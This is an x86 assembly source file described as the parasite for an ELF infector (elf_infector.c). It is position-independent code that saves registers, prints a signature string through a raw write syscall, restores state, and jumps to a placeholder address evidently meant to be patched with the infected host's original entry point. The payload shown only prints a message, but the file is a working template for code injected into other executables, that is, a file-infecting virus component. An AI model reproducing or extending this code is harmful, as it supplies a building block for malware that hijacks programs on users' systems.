# Parasite used in elf_infector.c
#
# $gcc -c elf_write_parasite.S
# $objdump -d ./elf_write_parasite.o
# $gcc elf_write_parasite.o -o elf_write_parasite
# $./elf_write_parasite
# nitr0us PARASITE C0D3 ;)
# $
#
# nitr0us

.section .text
.globl main
main:
	pushf
	pusha

	jmp	foo

bar:
	popl	%ecx
	xorl	%eax, %eax
	xorl	%ebx, %ebx
	xorl	%edx, %edx
	movb	$4, %al
	incb	%bl
	movb	$PAYLEN, %dl
	int	$0x80

	popa
	popf

	movl	$0xdefaced, %ebp
	jmp	*%ebp

foo:
	call	bar

PAYLOAD:
	.ascii	"nitr0us PARASITE C0D3 ;)\n"
PAYLEN = . - PAYLOAD
